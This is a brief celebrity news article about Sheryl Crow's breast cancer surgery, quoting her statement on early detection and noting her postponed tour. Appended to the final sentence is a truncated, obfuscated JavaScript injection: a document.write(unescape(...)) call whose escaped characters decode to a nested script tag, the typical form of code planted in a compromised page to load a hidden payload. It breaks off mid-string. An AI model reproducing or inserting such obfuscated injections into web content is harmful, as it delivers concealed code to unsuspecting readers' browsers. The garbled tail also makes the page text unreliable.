Sheryl Crow treated for breast cancer

It's been a rough month for singer-songwriter Sheryl Crow, who has confirmed that she underwent minimally invasive surgery for breast cancer on February 22. This announcement comes just two weeks ago after her surprise split with her onetime fiance, cycling champion Lance Armstrong.

Crow, age 44, has released the following statement:

"Approximately 1 in 7 American women will be diagnosed with breast cancer in her lifetime and more than 2 million Americans are living with breast cancer today. I am joining the more than 200,000 women who will be diagnosed with breast cancer this year. We are a testament to the importance of early detection and new treatments. I encourage all women everywhere to advocate for themselves and for their future. See your doctor and be proactive about your health. More than 10 million Americans are living with cancer, and they demonstrate the ever-increasing possibility of living beyond cancer. I am inspired by the brave women who have faced this battle before me and grateful for the support of family and friends."

A spokesperson for Crow has confirmed that doctors say Crow's prognosis is excellent and that she will receive radiation as a precaution. However, Crow will have to postpone her March/April North American tour for the time being.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22
